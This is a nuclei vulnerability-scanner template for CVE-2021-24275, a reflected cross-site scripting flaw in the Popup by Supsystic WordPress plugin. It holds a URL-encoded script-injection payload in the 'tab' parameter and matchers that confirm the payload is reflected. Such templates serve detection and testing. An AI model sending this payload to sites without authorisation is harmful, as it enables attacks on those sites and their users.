nuclei-templates/cves/2021/CVE-2021-24275.yaml

38 lines
1.1 KiB
YAML

id: CVE-2021-24275
info:
name: Popup by Supsystic < 1.10.5 - Reflected Cross-Site scripting (XSS)
author: dhiyaneshDK
severity: medium
description: The Popup by Supsystic WordPress plugin before 1.10.5 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue.
reference:
- https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24275
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24275
cwe-id: CWE-79
tags: wordpress,cve,cve2021,wp-plugin
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- '</script><script>alert(document.domain)</script>'
condition: and
- type: status
status:
- 200
- type: word
words:
- "text/html"
part: header